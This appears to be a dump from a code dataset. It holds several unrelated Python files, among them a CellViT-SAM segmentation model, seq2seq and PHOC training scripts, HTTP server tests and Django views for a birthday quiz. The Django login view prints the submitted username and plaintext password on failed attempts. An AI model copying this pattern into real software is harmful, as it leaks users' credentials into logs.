StemSkip\nfrom cellseg_models_pytorch.encoders import EncoderUnetTR\nfrom cellseg_models_pytorch.encoders.vit_det_SAM import build_sam_encoder\nfrom cellseg_models_pytorch.models.base._base_model import BaseMultiTaskSegModel\nfrom cellseg_models_pytorch.models.base._seg_head import SegHead\nfrom cellseg_models_pytorch.modules.misc_modules import StyleReshape\n\nfrom ._conf import _create_cellvit_args\n\n__all__ = [\n \"CellVitSAM\",\n \"cellvit_sam_base\",\n \"cellvit_sam_small\",\n \"cellvit_sam_plus\",\n \"cellvit_sam_small_plus\",\n]\n\n\nclass CellVitSAM(BaseMultiTaskSegModel):\n def __init__(\n self,\n decoders: Tuple[str, ...],\n heads: Dict[str, Dict[str, int]],\n inst_key: str = \"inst\",\n out_channels: Tuple[int, ...] = (512, 256, 128, 64),\n encoder_out_channels: Tuple[int, ...] = (512, 512, 256, 128),\n layer_depths: Tuple[int, ...] = (3, 2, 2, 2),\n style_channels: int = None,\n enc_name: str = \"sam_vit_b\",\n enc_pretrain: bool = True,\n enc_freeze: bool = False,\n long_skip: str = \"unet\",\n merge_policy: str = \"cat\",\n short_skip: str = \"basic\",\n normalization: str = \"bn\",\n activation: str = \"relu\",\n convolution: str = \"conv\",\n preactivate: bool = True,\n attention: str = None,\n preattend: bool = False,\n add_stem_skip: bool = True,\n skip_params: Optional[Dict] = None,\n **kwargs,\n ) -> None:\n \"\"\"Create a CellVit model.\n\n CellVit:\n - https://arxiv.org/abs/2306.15350\n\n (|------ SEMANTIC_DECODER ----- SEMANTIC_HEAD)\n |\n |------ TYPE_DECODER ---------- TYPE_HEAD\n UnetTR-SAM-encoder-|\n |------ HOVER_DECODER --------- HOVER_HEAD\n |\n (|------ INSTANCE_DECODER ---- INSTANCE_HEAD)\n\n Parameters\n ----------\n decoders : Tuple[str, ...]\n Names of the decoder branches of this network. E.g. (\"hovernet\", \"sem\")\n heads : Dict[str, Dict[str, int]]\n The segmentation heads of the architecture. I.e. Names of the decoder\n branches (has to match `decoders`) mapped to dicts\n of output name - number of output classes. E.g.\n {\"hovernet\": {\"hovernet\": 2}, \"sem\": {\"sem\": 5}, \"type\": {\"type\": 5}}\n inst_key : str, default=\"inst\"\n The key for the model output that will be used in the instance\n segmentation post-processing pipeline as the binary segmentation result.\n encoder_out_channels : Tuple[int, ...], default=(512, 512, 256, 128)\n Out channels for each SAM-UnetTR encoder stage.\n out_channels : Tuple[int, ...], default=(256, 256, 64, 64)\n Out channels for each decoder stage.\n layer_depths : Tuple[int, ...], default=(4, 4, 4, 4)\n The number of conv blocks at each decoder stage.\n style_channels : int, default=None\n Number of style vector channels. If None, style vectors are ignored.\n enc_name : str, default=\"sam_vit_b\"\n Name of the encoder. One of: \"sam_vit_b\", \"sam_vit_l\", \"sam_vit_h\",\n enc_pretrain : bool, default=True\n Whether to use imagenet pretrained weights in the encoder.\n enc_freeze : bool, default=False\n Freeze encoder weights for training.\n long_skip : str, default=\"unet\"\n long skip method to be used. One of: \"unet\", \"unetpp\", \"unet3p\",\n \"unet3p-lite\", None\n merge_policy : str, default=\"sum\"\n The long skip merge policy. One of: \"sum\", \"cat\"\n short_skip : str, default=\"basic\"\n The name of the short skip method. One of: \"residual\", \"dense\", \"basic\"\n normalization : str, default=\"bn\":\n Normalization method.\n One of: \"bn\", \"bcn\", \"gn\", \"in\", \"ln\", None\n activation : str, default=\"relu\"\n Activation method.\n One of: \"mish\", \"swish\", \"relu\", \"relu6\", \"rrelu\", \"selu\",\n \"celu\", \"gelu\", \"glu\", \"tanh\", \"sigmoid\", \"silu\", \"prelu\",\n \"leaky-relu\", \"elu\", \"hardshrink\", \"tanhshrink\", \"hardsigmoid\"\n convolution : str, default=\"conv\"\n The convolution method. One of: \"conv\", \"wsconv\", \"scaled_wsconv\"\n preactivate : bool, default=True\n If True, normalization will be applied before convolution.\n attention : str, default=None\n Attention method. One of: \"se\", \"scse\", \"gc\", \"eca\", None\n preattend : bool, default=False\n If True, Attention is applied at the beginning of forward pass.\n add_stem_skip : bool, default=True\n If True, a stem conv block is added to the model whose output is used\n as a long skip input at the final decoder layer that is the highest\n resolution layer and the same resolution as the input image.\n skip_params : Optional[Dict]\n Extra keyword arguments for the skip-connection modules. These depend\n on the skip module. Refer to specific skip modules for more info. I.e.\n `UnetSkip`, `UnetppSkip`, `Unet3pSkip`.\n\n Raises\n ------\n ValueError: If `decoders` does not contain 'hovernet'.\n ValueError: If `heads` keys don't match `decoders`.\n ValueError: If decoder names don't have a matching head name in `heads`.\n \"\"\"\n super().__init__()\n self.aux_key = self._check_decoder_args(decoders, (\"hovernet\",))\n self.inst_key = inst_key\n self.depth = 4\n self._check_head_args(heads, decoders)\n self._check_depth(self.depth, {\"out_channels\": out_channels})\n\n self.add_stem_skip = add_stem_skip\n self.enc_freeze = enc_freeze\n use_style = style_channels is not None\n self.heads = heads\n\n # Create decoder build args\n n_layers = (1,) * self.depth\n n_blocks = tuple([(d,) for d in layer_depths])\n\n dec_params = {\n d: _create_cellvit_args(\n layer_depths,\n normalization,\n activation,\n convolution,\n attention,\n preactivate,\n preattend,\n short_skip,\n use_style,\n merge_policy,\n skip_params,\n )\n for d in decoders\n }\n\n if enc_name not in (\"sam_vit_b\", \"sam_vit_l\", \"sam_vit_h\"):\n raise ValueError(\n f\"Wrong encoder name. Got: {enc_name}. \"\n \"Allowed encoder for CellVit: sam_vit_b, sam_vit_l, sam_vit_h.\"\n )\n\n # set encoder\n self.encoder = EncoderUnetTR(\n backbone=build_sam_encoder(name=enc_name, pretrained=enc_pretrain),\n out_channels=encoder_out_channels,\n up_method=\"conv_transpose\",\n convolution=convolution,\n activation=activation,\n normalization=normalization,\n attention=attention,\n )\n\n # get the reduction factors for the encoder\n enc_reductions = tuple([inf[\"reduction\"] for inf in self.encoder.feature_info])\n\n # Style\n self.make_style = None\n if use_style:\n self.make_style = StyleReshape(self.encoder.out_channels[0], style_channels)\n\n # set decoders and heads\n for decoder_name in decoders:\n decoder = Decoder(\n enc_channels=self.encoder.out_channels,\n enc_reductions=enc_reductions,\n out_channels=out_channels,\n style_channels=style_channels,\n long_skip=long_skip,\n merge_policy=merge_policy,\n n_conv_layers=n_layers,\n n_conv_blocks=n_blocks,\n stage_params=dec_params[decoder_name],\n )\n self.add_module(f\"{decoder_name}_decoder\", decoder)\n\n # optional stem skip\n if add_stem_skip:\n for decoder_name in decoders:\n stem_skip = StemSkip(\n out_channels=out_channels[-1],\n merge_policy=merge_policy,\n n_blocks=2,\n short_skip=\"basic\",\n block_type=\"basic\",\n normalization=normalization,\n activation=activation,\n convolution=convolution,\n attention=attention,\n preactivate=preactivate,\n preattend=preattend,\n )\n self.add_module(f\"{decoder_name}_stem_skip\", stem_skip)\n\n # output heads\n for decoder_name in heads.keys():\n for output_name, n_classes in heads[decoder_name].items():\n seg_head = SegHead(\n in_channels=decoder.out_channels,\n out_channels=n_classes,\n kernel_size=1,\n )\n self.add_module(f\"{output_name}_seg_head\", seg_head)\n\n self.name = f\"CellVit-{enc_name}\"\n\n # init decoder weights\n self.initialize()\n\n # freeze encoder if specified\n if enc_freeze:\n self.freeze_encoder()\n\n def forward(\n self,\n x: torch.Tensor,\n return_feats: bool = False,\n ) -> Union[\n Dict[str, torch.Tensor],\n Tuple[\n List[torch.Tensor],\n Dict[str, torch.Tensor],\n Dict[str, torch.Tensor],\n ],\n ]:\n \"\"\"Forward pass of CellVit-SAM.\n\n Parameters\n ----------\n x : torch.Tensor\n Input image batch. Shape: (B, C, H, W).\n return_feats : bool, default=False\n If True, encoder, decoder, and head outputs will all be returned\n\n Returns\n -------\n Union[\n Dict[str, torch.Tensor],\n Tuple[\n List[torch.Tensor],\n Dict[str, torch.Tensor],\n Dict[str, torch.Tensor],\n ],\n ]:\n Dictionary mapping of output names to outputs or if `return_feats == True`\n returns also the encoder features in a list, decoder features as a dict\n mapping decoder names to outputs and the final head outputs dict.\n \"\"\"\n feats, dec_feats = self.forward_features(x)\n out = self.forward_heads(dec_feats)\n\n if return_feats:\n return feats, dec_feats, out\n\n return out\n\n\ndef cellvit_sam_base(\n enc_name: str, type_classes: int, inst_classes: int = 2, **kwargs\n) -> nn.Module:\n \"\"\"Create the baseline CellVit-SAM (three decoders) from kwargs.\n\n CellVit:\n - https://arxiv.org/abs/2306.15350\n\n Parameters\n ----------\n enc_name : str\n Name of the encoder. One of: \"sam_vit_b\", \"sam_vit_l\", \"sam_vit_h\",\n type_classes : int\n Number of type classes.\n inst_classes : int, default=2\n Number of instance classes.\n **kwargs:\n Arbitrary key word args for the CellVitSAM class.\n\n Returns\n -------\n nn.Module: The initialized CellVitSAM model.\n \"\"\"\n cellvit_sam = CellVitSAM(\n enc_name=enc_name,\n decoders=(\"hovernet\", \"type\", \"inst\"),\n heads={\n \"hovernet\": {\"hovernet\": 2},\n \"type\": {\"type\": type_classes},\n \"inst\": {\"inst\": inst_classes},\n },\n **kwargs,\n )\n\n return cellvit_sam\n\n\ndef cellvit_sam_plus(\n enc_name: str,\n type_classes: int,\n sem_classes: int,\n inst_classes: int = 2,\n **kwargs,\n) -> nn.Module:\n \"\"\"Create CellVit-SAM (additional semantic decoders) from kwargs.\n\n CellVit:\n - https://arxiv.org/abs/2306.15350\n\n Parameters\n ----------\n enc_name : str\n Name of the encoder. One of: \"sam_vit_b\", \"sam_vit_l\", \"sam_vit_h\",\n type_classes : int\n Number of type-branch classes.\n sem_classes : int\n Number of semantic-branch classes.\n inst_classes : int, default=2\n Number of instance-branch classes.\n **kwargs:\n Arbitrary key word args for the CellVitSAM class.\n\n Returns\n -------\n nn.Module: The initialized CellVitSAM+ model.\n \"\"\"\n cellvit_sam = CellVitSAM(\n enc_name=enc_name,\n decoders=(\"hovernet\", \"type\", \"inst\", \"sem\"),\n heads={\n \"hovernet\": {\"hovernet\": 2},\n \"sem\": {\"sem\": sem_classes},\n \"type\": {\"type\": type_classes},\n \"inst\": {\"inst\": inst_classes},\n },\n **kwargs,\n )\n\n return cellvit_sam\n\n\ndef cellvit_sam_small(enc_name: str, type_classes: int, **kwargs) -> nn.Module:\n \"\"\"Create CellVit-SAM without inst decoder branch from kwargs.\n\n CellVit:\n - https://arxiv.org/abs/2306.15350\n\n Parameters\n ----------\n enc_name : str\n Name of the encoder. One of: \"sam_vit_b\", \"sam_vit_l\", \"sam_vit_h\",\n type_classes : int\n Number of type-branch classes.\n **kwargs:\n Arbitrary key word args for the CellVitSAM class.\n\n Returns\n -------\n nn.Module: The initialized CellVitSAM-small model.\n \"\"\"\n cellvit_sam = CellVitSAM(\n enc_name=enc_name,\n decoders=(\"hovernet\", \"type\"),\n inst_key=\"type\",\n heads={\n \"hovernet\": {\"hovernet\": 2},\n \"type\": {\"type\": type_classes},\n },\n **kwargs,\n )\n\n return cellvit_sam\n\n\ndef cellvit_sam_small_plus(\n enc_name: str, type_classes: int, sem_classes: int, **kwargs\n) -> nn.Module:\n \"\"\"Create the CellVit-SAM+ without inst decoder branch from kwargs.\n\n CellVit:\n - https://arxiv.org/abs/2306.15350\n\n Parameters\n ----------\n enc_name : str\n Name of the encoder. One of: \"sam_vit_b\", \"sam_vit_l\", \"sam_vit_h\",\n type_classes : int\n Number of type-branch classes.\n sem_classes : int\n Number of semantic-branch classes.\n **kwargs:\n Arbitrary key word args for the CellVitsSAM class.\n\n Returns\n -------\n nn.Module: The initialized CellVit-SAM-small+ model.\n \"\"\"\n cellvit_sam = CellVitSAM(\n enc_name=enc_name,\n decoders=(\"hovernet\", \"type\", \"sem\"),\n inst_key=\"type\",\n heads={\n \"hovernet\": {\"hovernet\": 2},\n \"type\": {\"type\": type_classes},\n \"sem\": {\"sem\": sem_classes},\n },\n **kwargs,\n )\n\n return cellvit_sam\n","sub_path":"cellseg_models_pytorch/models/cellvit/cellvit.py","file_name":"cellvit.py","file_ext":"py","file_size_in_byte":14998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"223683777","text":"#Title: Test setup for personal project\n#Dev: Sean Kearns\n#Date: 03/12/18\ntry:\n from setuptools import setup #this is the one that is typically used now\nexcept ImportError:\n from distutils.core import setup #this one used to be used\n\nconfig = {\n 'description': 'Race Recorder Project',\n 'author': 'Sean Kearns',\n #'url': '',\n 'author_email': 'sean.kearns@colorado.com',\n 'version': '0.0.1',\n 'install_requires': ['nose','numpy','matplotlib','pyparsing','pytz',\n 'six','cycler','kiwisolver','python-dateutil','subprocess32'],\n 'packages': [],\n #'scripts': [],\n 'names': 'myProjectName',\n}\n\n\nsetup(**config)# ** -> take argument as a dictionary\n","sub_path":"Project/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"230545288","text":"# -*- coding:utf-8 -*-\nimport sys, os\nimport numpy as np\nimport paddle.v2 as paddle\n\ndef two_layer_lstm_net(source_dict_dim,\n target_dict_dim,\n is_generating,\n beam_size=3,\n max_length=250):\n ### 网络结构定义\n word_vector_dim = 512 # 词向量维度\n decoder_size = 512 # decoder隐藏单元的维度\n encoder_size = 512 # encoder隐藏单元维度\n\n #### Encoder 输入疑问句\n src_word_id = paddle.layer.data(\n name='source_words',\n type=paddle.data_type.integer_value_sequence(source_dict_dim))\n src_embedding = paddle.layer.embedding(\n input=src_word_id, size=word_vector_dim)\n src_forward = paddle.networks.simple_gru(\n input=src_embedding, size=encoder_size)\n src_backward = paddle.networks.simple_gru(\n input=src_embedding, size=encoder_size, reverse=True)\n encoded_vector = paddle.layer.concat(input=[src_forward, src_backward])\n\n #### Decoder 输出回答\n encoded_proj = paddle.layer.fc(\n act=paddle.activation.Linear(),\n size=decoder_size,\n bias_attr=False,\n input=encoded_vector)\n\n backward_first = paddle.layer.first_seq(input=src_backward)\n\n decoder_boot = paddle.layer.fc(\n size=decoder_size,\n act=paddle.activation.Tanh(),\n bias_attr=False,\n input=backward_first)\n\n def two_layer_lstm_decoder(enc_vec, enc_proj, current_word):\n\n decoder_mem = paddle.layer.memory(\n name='two_layer_lstm_decoder', size=decoder_size, boot_layer=decoder_boot)\n\n context = paddle.networks.simple_attention(\n encoded_sequence=enc_vec,\n encoded_proj=enc_proj,\n decoder_state=decoder_mem)\n\n decoder_inputs = paddle.layer.fc(\n act=paddle.activation.Linear(),\n size=decoder_size * 3,\n bias_attr=False,\n input=[context, current_word],\n layer_attr=paddle.attr.ExtraLayerAttribute(\n error_clipping_threshold=100.0))\n\n two_layer_lstm_step = paddle.layer.gru_step(\n name='two_layer_lstm_decoder',\n input=decoder_inputs,\n output_mem=decoder_mem,\n size=decoder_size)\n\n out = paddle.layer.fc(\n size=target_dict_dim,\n bias_attr=True,\n act=paddle.activation.Softmax(),\n input=two_layer_lstm_step)\n return out\n\n decoder_group_name = 'decoder_group'\n group_input1 = paddle.layer.StaticInput(input=encoded_vector)\n group_input2 = paddle.layer.StaticInput(input=encoded_proj)\n group_inputs = [group_input1, group_input2]\n\n if not is_generating:\n trg_embedding = paddle.layer.embedding(\n input=paddle.layer.data(\n name='two_layer_lstm_reader',\n type=paddle.data_type.integer_value_sequence(target_dict_dim)),\n size=word_vector_dim,\n param_attr=paddle.attr.ParamAttr(name='_two_layer_lstm_reader_embedding'))\n group_inputs.append(trg_embedding)\n\n decoder = paddle.layer.recurrent_group(\n name=decoder_group_name,\n step=two_layer_lstm_decoder,\n input=group_inputs)\n\n lbl = paddle.layer.data(\n name='two_layer_lstm_reader_next_word',\n type=paddle.data_type.integer_value_sequence(target_dict_dim))\n cost = paddle.layer.classification_cost(input=decoder, label=lbl)\n\n return cost\n else:\n trg_embedding = paddle.layer.GeneratedInput(\n size=target_dict_dim,\n embedding_name='_two_layer_lstm_reader_embedding',\n embedding_size=word_vector_dim)\n group_inputs.append(trg_embedding)\n\n answer_gen = paddle.layer.beam_search(\n name=decoder_group_name,\n step=two_layer_lstm_decoder,\n input=group_inputs,\n bos_id=0,\n eos_id=1,\n beam_size=beam_size,\n max_length=max_length)\n\n return answer_gen","sub_path":"two_layer_lstm.py","file_name":"two_layer_lstm.py","file_ext":"py","file_size_in_byte":4032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"555207325","text":"import unittest\nimport socket\nimport sys\nimport re\n\ndef GETbody(s, request):\n s.send(request)\n data = s.recv(10000)\n data_string = data.decode('UTF-8')\n return data_string.split('\\n\\n', 1)[1]\n\ndef GETstatus(s, request):\n s.send(request)\n data = s.recv(10000)\n data_string = data.decode('UTF-8')\n return data_string.split('\\n', 1)[0]\n\ndef GETetag(s, request):\n s.send(request)\n data = s.recv(10000)\n data_string = data.decode('UTF-8')\n for line in data_string.split('\\n'):\n if re.match('ETag: .*', line):\n return line[6:]\n\nimport unittest\n\nclass TestRequests(unittest.TestCase):\n\n # GET for an existing single resource\n def test_existing_file(self):\n request = bytes('GET /index.html HTTP/1.1', 'UTF-8')\n f = open('compare.html', 'r')\n body = f.read()\n f.close()\n self.assertEqual(GETbody(s, request), body)\n\n # GET for a single resource that doesn't exist\n def test_nonexisting_file(self):\n request = bytes('GET /thecake.html HTTP/1.1', 'UTF-8')\n f = open('404.html', 'r')\n body = f.read()\n f.close()\n self.assertEqual(GETbody(s, request), body)\n\n # GET for an existing single resource followed by a GET for that same resource, with caching utilized on the client/tester side\n def test_cached_file(self):\n request = bytes('GET /index.html HTTP/1.1', 'UTF-8')\n etag = GETetag(s, request)\n request = bytes('GET /index.html HTTP/1.1\\r\\nIf-None-Match: ' + etag, 'UTF-8')\n self.assertEqual(GETstatus(s, request), 'HTTP/1.1 304 Not Modified')\n\n # GET for a directory with an existing index.html file\n def test_existing_dir(self):\n request = bytes('GET /dir_with/ HTTP/1.1', 'UTF-8')\n f = open('compare.html', 'r')\n body = f.read()\n f.close()\n self.assertEqual(GETbody(s, request), body)\n\n # GET for a directory with non-existing index.html file\n def test_nonexisting_dir(self):\n request = bytes('GET /dir_without HTTP/1.1', 'UTF-8')\n f = open('404.html', 'r')\n body = f.read()\n f.close()\n self.assertEqual(GETbody(s, request), body)\n\n# Create a TCP/IP socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# Connect the socket to the port where the server is listening\nserver_address = ('localhost', 8888)\ns.connect(server_address)\n\n# Execute tests\nunittest.main()\n\n# Close socket\ns.close()\n","sub_path":"webtests/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"73625940","text":"from django.shortcuts import render\nfrom .forms import UserForm\n\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Counter\n# Create your views here.\n\n\ncounter = 0\n\ndef index(request):\n\n return render(request, 'boldog/index.html')\n\ndef register(request):\n\n registered = False\n\n if request.method == 'POST':\n\n user_form = UserForm(data=request.POST)\n\n # Check to see form is valid\n if user_form.is_valid():\n\n user = user_form.save() # Save User Form to Databas\n user.set_password(user.password) # Hash the password\n user.save() # Update with Hashed password\n registered = True # Registration Successful!\n\n else:\n # One of the forms was invalid if this else gets called.\n print(user_form.errors)\n\n else:\n # Was not an HTTP post so we just render the forms as blank.\n user_form = UserForm()\n\n # This is the render and context dictionary to feed\n # back to the registration.html file page.\n return render(request, 'boldog/register.html',\n {'user_form': user_form,\n 'registered': registered,\n })\n\n\n\n\ndef user_login(request):\n\n if request.method == 'POST':\n # First get the username and password supplied\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n # Django's built-in authentication function:\n user = authenticate(username=username, password=password)\n\n # If we have a user\n if user:\n #Check it the account is active\n if user.is_active:\n # Log the user in.\n login(request,user)\n # Send the user back to some page.\n # In this case their homepage.\n return HttpResponseRedirect(reverse('boldog:welcome'))\n else:\n # If account is not active:\n return HttpResponse(\"Your account is not active.\")\n else:\n print(\"Someone tried to login and failed.\")\n print(\"They used username: {} and password: {}\".format(username,password))\n return HttpResponse(\"Invalid login details supplied.\")\n\n else:\n #Nothing has been provided for username or password.\n return render(request, 'boldog/login.html', {})\n\n\n@login_required\ndef welcome(request):\n usern = request.user.username\n\n\n return render(request, 'boldog/welcome.html', {'username':usern})\n\n\n@login_required\ndef feladat(request):\n\n return render(request, 'boldog/feladat.html')\n\n@login_required\ndef q1(request):\n answere = request.GET.get(\"q\")\n if answere == \"e\":\n return HttpResponseRedirect(reverse('boldog:q2_64738'))\n\n return render(request, 'boldog/q1.html')\n\n\n@login_required\ndef q2_64738(request):\n a = request.GET.get(\"q2\")\n print (a)\n if a == \"g\":\n return HttpResponseRedirect(reverse('boldog:q3_23491723'))\n\n return render(request, 'boldog/q2_64738.html')\n\n@login_required\ndef q3_23491723(request):\n a = request.GET.get(\"q3\")\n print (a)\n if a == \"a\":\n return HttpResponseRedirect(reverse('boldog:q4_98362527'))\n return render(request, 'boldog/q3_23491723.html')\n\n\n@login_required\ndef q4_98362527(request):\n a = request.GET.get(\"q4\")\n\n global counter\n if counter < 3:\n print(counter)\n if a == \"ae\":\n return HttpResponseRedirect(reverse('boldog:ajandek'))\n else:\n counter =+ 1\n return render(request, 'boldog/q4_98362527.html')\n\n return HttpResponseRedirect(reverse('boldog:failed'))\n\n\ndef failed(request):\n\n return render(request, 'boldog/failed.html')\n\n@login_required\ndef user_logout(request):\n # Log out the user.\n logout(request)\n # Return to homepage.\n return render(request, 'boldog/login.html')\n\n@login_required\ndef ajandek(request):\n usern = request.user.username\n return render(request, 'boldog/ajandek.html',{'username':usern})\n\ndef by(request):\n # Log out the user.\n logout(request)\n # Return to homepage.\n return render(request, 'boldog/by.html')","sub_path":"szulinap/boldog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"304209792","text":"# -*- coding:utf-8 -*-\nimport os\nimport json\nimport xlwt\nimport xlrd\n\nmpath = r'G:\\PyQt5\\quickstudy\\population\\driver'\nalltab = []\nfor x in os.listdir(mpath):\n\tfullpath = os.path.join(mpath,x)\n\tfor name in os.listdir(fullpath):\n\t\tf = open(os.path.join(fullpath,name))\n\t\tmdic = json.load(f)\n\t\tmdic['country'] = str(name.split('.')[0])\n\t\tf.close()\n\t\talltab.append(mdic)\n\ndef set_style(name,height,bold=False):\n\tstyle = xlwt.XFStyle() # 初始化样式\n\tfont = xlwt.Font() # 为样式创建字体\n\tfont.name = name # 'Times New Roman'\n\tfont.bold = bold\n\tfont.color_index = 4\n\tfont.height = height\n\tstyle.font = font\n\treturn style\n\nf = xlwt.Workbook()\nfor year in range(2015,2020):\n\tsheet = f.add_sheet(str(year),cell_overwrite_ok=True)\n\trow0 = [u'国家',u'男孩(万)',u'女孩(万)',u'5-9儿童总数(万)',u'0-99人口总数(万)',u'男童占总数比',u'女童占总数比',u'儿童占人口总数比']\n\tfor i in range(0,len(row0)):\n\t\tsheet.write(0,i,row0[i],set_style('Times New Roman',220,True))\n\tcount = 0\n\tfor dic in alltab:\n\t\tcount = count + 1\n\t\ttmptab = []\n\t\ttmptab.append(dic['country']) # 国家\n\t\t# print(dic[str(year)]['male'])\n\t\tmale = int(dic[str(year)]['male']['1']/10)\n\n\t\ttmptab.append(male) # 男孩\n\t\tfemale = int(dic[str(year)]['female']['1']/10)\n\t\ttmptab.append(female) # 女孩\n\t\tboth = int(dic[str(year)]['both']['1']/10)\n\t\ttmptab.append(both) # 儿童总数\n\t\tallpeople = 0\n\t\tfor num in range(0,20):\n\t\t\tallpeople += dic[str(year)]['both'][str(num)]/10\n\t\ttmptab.append(int(allpeople)) # 人口总数\n\t\ttmptab.append(male/allpeople) # 男童占总数比\n\t\ttmptab.append(female/allpeople) # 女童占总数比\n\t\ttmptab.append(both/allpeople) # 儿童占人口总数比\n\t\tfor rng in range(0,8):\n\t\t\ttowrite = tmptab[rng]\n\t\t\tsheet.write(count,rng,towrite)\n\nf.save('data.xlsx') #保存文件","sub_path":"quick/python/chong/各国年龄人口统计.py","file_name":"各国年龄人口统计.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"208305457","text":"#encoding: utf-8\nfrom OpenOrange import *\n\nParentShiftWindow = SuperClass(\"ShiftWindow\",\"MasterWindow\",__file__)\nclass ShiftWindow(ParentShiftWindow):\n \n def afterEdit(self, fieldname):\n record = self.getRecord()\n if (fieldname == \"StartTime\"):\n record.pasteTime()\n elif (fieldname == \"EndTime\"):\n record.pasteTime()\n\n","sub_path":"base/windows/ShiftWindow.py","file_name":"ShiftWindow.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"240684005","text":"#!/usr/bin/env python\nfrom __future__ import division\n\nimport os\n\nimport numpy as np\nimport torch\nfrom scipy.spatial.distance import pdist\ntry:\n from tqdm import tqdm\nexcept ImportError:\n def tqdm(x, desc=None):\n return x\n\nimport laia.common.logging as log\nimport laia.utils\nfrom dortmund_utils import (build_dortmund_model, DortmundImageToTensor,\n DortmundBCELoss)\nfrom laia.engine.engine import EPOCH_END, EPOCH_START\nfrom laia.engine.feeders import ImageFeeder, ItemFeeder, VariableFeeder, \\\n PHOCFeeder\nfrom laia.hooks import Hook\nfrom laia.hooks.conditions import GEqThan\nfrom laia.meters import AveragePrecisionMeter\nfrom laia.common.arguments import add_argument, add_defaults, args\n\n\ndef create_dataset_and_loader(img_dir, gt_table, img_transform,\n samples_per_epoch=None):\n def sort_key(x):\n return -x['img'].size(2)\n\n ds = laia.data.TextImageFromTextTableDataset(\n gt_table, img_dir, img_transform=img_transform)\n if samples_per_epoch is None:\n ds_loader = torch.utils.data.DataLoader(\n ds, batch_size=1, num_workers=8, shuffle=True,\n collate_fn=laia.data.PaddingCollater({'img': [1, None, None]},\n sort_key=sort_key))\n else:\n ds_loader = torch.utils.data.DataLoader(\n ds, batch_size=1, num_workers=8,\n sampler=laia.data.FixedSizeSampler(ds, samples_per_epoch),\n collate_fn=laia.data.PaddingCollater({'img': [1, None, None]},\n sort_key=sort_key))\n return ds, ds_loader\n\n\nclass Evaluate(object):\n def __init__(self, model, queries_loader, gpu):\n self.model = model\n self.queries_loader = queries_loader\n self.gpu = gpu\n\n def __call__(self, **kwargs):\n self.model.eval()\n input_fn = ImageFeeder(device=self.gpu, keep_padded_tensors=False,\n parent_feeder=ItemFeeder('img'))\n queries_embed = []\n queries_gt = []\n for batch in tqdm(self.queries_loader, desc='Valid'):\n try:\n output = torch.nn.functional.sigmoid(\n self.model(input_fn(batch)))\n queries_embed.append(output.data.cpu().numpy())\n queries_gt.append(batch['txt'][0])\n except Exception as ex:\n laia.common.logging.error('Exception processing: {!r}', batch['id'])\n raise ex\n queries_embed = np.vstack(queries_embed)\n\n NQ = queries_embed.shape[0]\n gap_meter = AveragePrecisionMeter(desc_sort=False)\n map_meter = [AveragePrecisionMeter(desc_sort=False) for _ in range(NQ)]\n distances = pdist(queries_embed, metric='braycurtis')\n inds = [(i, j) for i in range(NQ) for j in range(i + 1, NQ)]\n for k, (i, j) in enumerate(inds):\n if queries_gt[i] == queries_gt[j]:\n gap_meter.add(1, 0, 0, distances[k])\n map_meter[i].add(1, 0, 0, distances[k])\n else:\n gap_meter.add(0, 1, 0, distances[k])\n map_meter[i].add(0, 1, 0, distances[k])\n\n g_ap = gap_meter.value\n aps = [m.value for m in map_meter if m.value is not None]\n laia.common.logging.info('Epoch {epochs:4d}, '\n 'VA gAP = {gap:5.1%}, '\n 'VA mAP = {map:5.1%}, ',\n epochs=kwargs['epoch'],\n gap=g_ap,\n map=np.mean(aps) if len(aps) > 0 else None)\n\nif __name__ == '__main__':\n add_defaults('gpu', 'max_epochs', 'max_updates', 'train_samples_per_epoch',\n 'seed', 'train_path',\n # Override default values for these arguments, but use the\n # same help/checks:\n learning_rate=0.0001,\n momentum=0.9,\n iterations_per_update=10,\n show_progress_bar=True,\n use_distortions=True,\n weight_l2_penalty=0.00005)\n add_argument('--load_checkpoint', type=str,\n help='Path to the checkpoint to load.')\n add_argument('--continue_epoch', type=int)\n add_argument('--phoc_levels', type=int, default=[1, 2, 3, 4, 5], nargs='+',\n help='PHOC levels used to encode the transcript')\n add_argument('syms', help='Symbols table mapping from strings to integers')\n add_argument('img_dir', help='Directory containing word images')\n add_argument('tr_txt_table',\n help='Character transcriptions of each training image')\n add_argument('va_txt_table',\n help='Character transcriptions of each validation image')\n args = args()\n\n laia.random.manual_seed(args.seed)\n\n syms = laia.utils.SymbolsTable(args.syms)\n\n phoc_size = sum(args.phoc_levels) * len(syms)\n model = build_dortmund_model(phoc_size)\n if args.load_checkpoint:\n model_ckpt = torch.load(args.load_checkpoint)\n model.load_state_dict(model_ckpt)\n model = model.cuda(args.gpu - 1) if args.gpu > 0 else model.cpu()\n log.info('Model has {} parameters',\n sum(param.data.numel() for param in model.parameters()))\n\n optimizer = torch.optim.SGD(params=model.parameters(),\n lr=args.learning_rate,\n momentum=args.momentum,\n weight_decay=args.weight_l2_penalty)\n\n # If --use_distortions is given, apply the same affine distortions used by\n # Dortmund University.\n if args.use_distortions:\n tr_img_transform = DortmundImageToTensor()\n else:\n tr_img_transform = laia.utils.ImageToTensor()\n\n # Training data\n tr_ds, tr_ds_loader = create_dataset_and_loader(\n args.img_dir, args.tr_txt_table, tr_img_transform,\n args.train_samples_per_epoch)\n # Validation data\n ca_ds, va_ds_loader = create_dataset_and_loader(\n args.img_dir, args.va_txt_table, laia.utils.ImageToTensor())\n\n trainer = 